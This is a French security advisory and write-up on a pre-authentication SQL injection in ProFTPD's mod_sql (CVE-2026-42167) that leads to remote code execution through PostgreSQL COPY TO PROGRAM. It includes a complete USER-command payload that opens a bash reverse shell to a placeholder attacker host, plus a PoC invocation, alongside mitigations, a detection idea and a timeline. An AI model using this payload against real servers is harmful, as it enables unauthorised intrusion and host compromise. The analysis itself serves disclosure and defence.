
Pré-authentification RCE dans ProFTPD via le contournement de is_escaped_text() de mod_sql (CVE-2026-42167)
mod_sqlAuteur : Van Glenndon Enad
Découverte originale : ZeroPath
Publié : 1er mai 2026
Gravité : Critique
Score CVSS v3.1 : 8.1
Vecteur CVSS v3.1 : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Score CVSS v2 : 7.6
Vecteur CVSS v2 : CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE : CWE-89 (Injection SQL), CWE-78 (Injection de commandes système)
CVE-2026-42167 est une vulnérabilité critique d'injection SQL avant authentification dans le module d'extension mod_sql de ProFTPD. Un défaut logique dans la fonction is_escaped_text() permet à un attaquant non authentifié de contourner l'échappement des caractères SQL en forgeant une commande USER dont la valeur satisfait une heuristique défectueuse de « déjà échappé ». Le SQL injecté est transmis directement à la base de données backend via PQexec(), qui prend en charge les requêtes empilées.
Lorsque le rôle de base de données ProFTPD est un superutilisateur PostgreSQL — une erreur de configuration courante dans les déploiements conteneurisés — l'injection atteint la directive COPY TO PROGRAM de PostgreSQL, ce qui entraîne une exécution de code à distance au niveau du système d'exploitation avant authentification en tant qu'utilisateur système postgres. Aucun identifiant, aucun accès préalable et aucune interaction utilisateur ne sont requis.
| Composant | Version |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Module | mod_sql + mod_sql_postgres |
| Version corrigée | 1.3.9a (publiée le 27 avril 2026) |
| Backend | PostgreSQL (RCE) ; MySQL / SQLite (contournement d'authentification uniquement) |
ProFTPD est un serveur FTP open source largement déployé. Selon Shodan, plus de 160 000 instances ProFTPD accessibles publiquement existent sur Internet. Le module mod_sql est couramment activé dans les panneaux de contrôle d'hébergement mutualisé, notamment cPanel, Plesk, DirectAdmin, Webmin et ISPConfig.
Le module mod_sql de ProFTPD prend en charge l'authentification et la journalisation d'activité basées sur SQL. Les chaînes de format de journal peuvent inclure des variables de substitution telles que %U (nom d'utilisateur), %r (hôte distant) et %m (commande FTP). Ces variables sont développées à l'exécution et insérées dans les requêtes SQL exécutées contre le backend configuré.
Une configuration vulnérable typique :
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
Dans cette configuration, la valeur fournie dans la commande FTP USER est substituée à %U et incluse directement dans une instruction SQL INSERT. Avant l'insertion, la valeur est transmise à is_escaped_text() pour déterminer si elle nécessite un échappement. Cette fonction contient un défaut logique critique.
is_escaped_text()Située dans contrib/mod_sql.c, la fonction applique l'heuristique suivante pour décider si une chaîne est « déjà échappée » :
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Suppose que la chaîne est échappée si :
* 1. Elle commence par une apostrophe
* 2. Elle se termine par une apostrophe
* 3. Elle ne contient aucune apostrophe interne
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* ignorer l'échappement */
}
return FALSE;
}
Lorsque cette fonction renvoie TRUE, sql_resolved_append_text() (ligne 777) insère la valeur brute, non échappée, directement dans la chaîne de requête. La valeur est ensuite exécutée par PQexec() dans contrib/mod_sql_postgres.c (ligne 1146), qui prend en charge les requêtes empilées (multi-instructions).
L'heuristique était probablement destinée à détecter les chaînes déjà entourées de délimiteurs de chaîne SQL. Cependant, elle ne tente pas de vérifier que le contenu interne est sûr — uniquement qu'aucune apostrophe supplémentaire n'est présente. Cela signifie que toute charge utile qui :
''$$ de PostgreSQL)...passera le contrôle et sera injectée telle quelle dans la requête SQL.
Client FTP ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ développer %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ ignorer l'échappement │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ exécuter SQL empilé
│ │ │ COPY TO PROGRAM
│ │ │── commande shell ──▶ OS
| Exigence | Remarques |
|---|---|
mod_sql activé avec journalisation SQL | Doit journaliser une variable avant authentification telle que %U |
| Backend PostgreSQL | Requis pour le RCE via COPY TO PROGRAM ; MySQL/SQLite permettent toujours le contournement d'authentification |
| Le rôle de base de données est superutilisateur PostgreSQL | COPY TO PROGRAM est restreint aux superutilisateurs ou aux membres de pg_execute_server_program |
bash disponible sur l'hôte de la base de données | Requis pour la livraison du reverse shell via /dev/tcp |
| Accessibilité réseau | Le conteneur PostgreSQL doit pouvoir atteindre l'attaquant sur le port d'écoute |
La condition de superutilisateur est fréquemment remplie dans les déploiements conteneurisés où l'utilisateur de base de données ProFTPD est créé via POSTGRES_USER=... dans l'image Docker officielle de PostgreSQL, ou lorsqu'un administrateur accorde au rôle ProFTPD la propriété de la base de données.
Étape 1 : L'attaquant envoie une commande USER forgée (avant authentification, aucun identifiant requis)
│
▼
Étape 2 : ProFTPD développe %U avec la valeur contrôlée par l'attaquant
│
▼
Étape 3 : Contournement de is_escaped_text() — le SQL brut traverse sans échappement
│
▼
Étape 4 : PQexec() exécute la requête empilée contre PostgreSQL
│
▼
Étape 5 : COPY TO PROGRAM exécute la commande shell de l'attaquant en tant qu'utilisateur OS postgres
│
▼
Étape 6 : Reverse shell / exfiltration de fichiers livrés à l'attaquant
La charge utile d'injection est livrée via la commande FTP USER :
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condition | Satisfaite ? | Raison |
|---|---|---|
Commence par ' | ✅ | Le premier caractère est ' |
Se termine par ' | ✅ | Le dernier caractère est ' |
| Aucune apostrophe interne | ✅ | Les chaînes internes utilisent le dollar-quoting $$ |
| Segment | Objectif |
|---|---|
', null, null); | Ferme proprement l'instruction INSERT d'origine |
COPY (SELECT $$x$$) TO PROGRAM | Requête empilée utilisant COPY TO PROGRAM de PostgreSQL |
$$bash -c ...$$ | Commande shell utilisant le dollar-quoting $$ pour éviter les apostrophes |
; --' | Termine la requête empilée ; --' commente le reste et fournit l'apostrophe fermante pour le contournement |
Avertissement : Ce PoC est fourni à des fins éducatives et de test autorisé uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite.
Exemple d'utilisation :
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| Catégorie | Description |
|---|---|
| Confidentialité | Accès en lecture complet au système de fichiers en tant qu'utilisateur OS postgres |
| Intégrité | Capacité d'écrire des fichiers, de modifier le contenu de la base de données, d'installer des portes dérobées |
| Disponibilité | Interruption de service, destruction de données possible |
| Authentification | Exploitable avec zéro identifiant avant authentification |
| Portée | S'étend au-delà de ProFTPD jusqu'à l'hôte PostgreSQL sous-jacent |
Tout système où ProFTPD est co-localisé avec une instance PostgreSQL ou y dispose d'un accès superutilisateur est exposé à une compromission complète de l'hôte. Le mouvement latéral vers des systèmes adjacents et la persistance via des tâches cron ou l'injection de clés SSH sont trivialement réalisables après exploitation.
is_escaped_text() avec une gestion appropriée des requêtes paramétréesmod_sql (supprimer les directives SQLLog)%U, %r, %m) des définitions SQLNamedQueryINSERT sur la table de journal et SELECT sur la table d'authentificationUSER contenant des apostrophes, COPY, PROGRAM ou des mots-clés SQL| Date | Événement |
|---|---|
| 28 mars 2026 | Vulnérabilité signalée aux mainteneurs ProFTPD |
| 7 avril 2026 | Début de la vérification du correctif |
| 24 avril 2026 | CVE-2026-42167 attribué |
| 27 avril 2026 | Correctif validé ; ProFTPD 1.3.9a publié |
| 28 avril 2026 | Publication sur NVD |
| 28–29 avril 2026 | Dépôts PoC publics publiés sur GitHub |
| 1er mai 2026 | Analyse indépendante et PoC simplifié publiés |
Avertissement légal : Cette analyse et cette preuve de concept sont publiées strictement à des fins éducatives, de recherche et de sécurité défensive. L'auteur ne cautionne pas l'accès non autorisé aux systèmes informatiques. Obtenez toujours une autorisation écrite explicite avant d'effectuer des tests de sécurité contre tout système que vous ne possédez pas.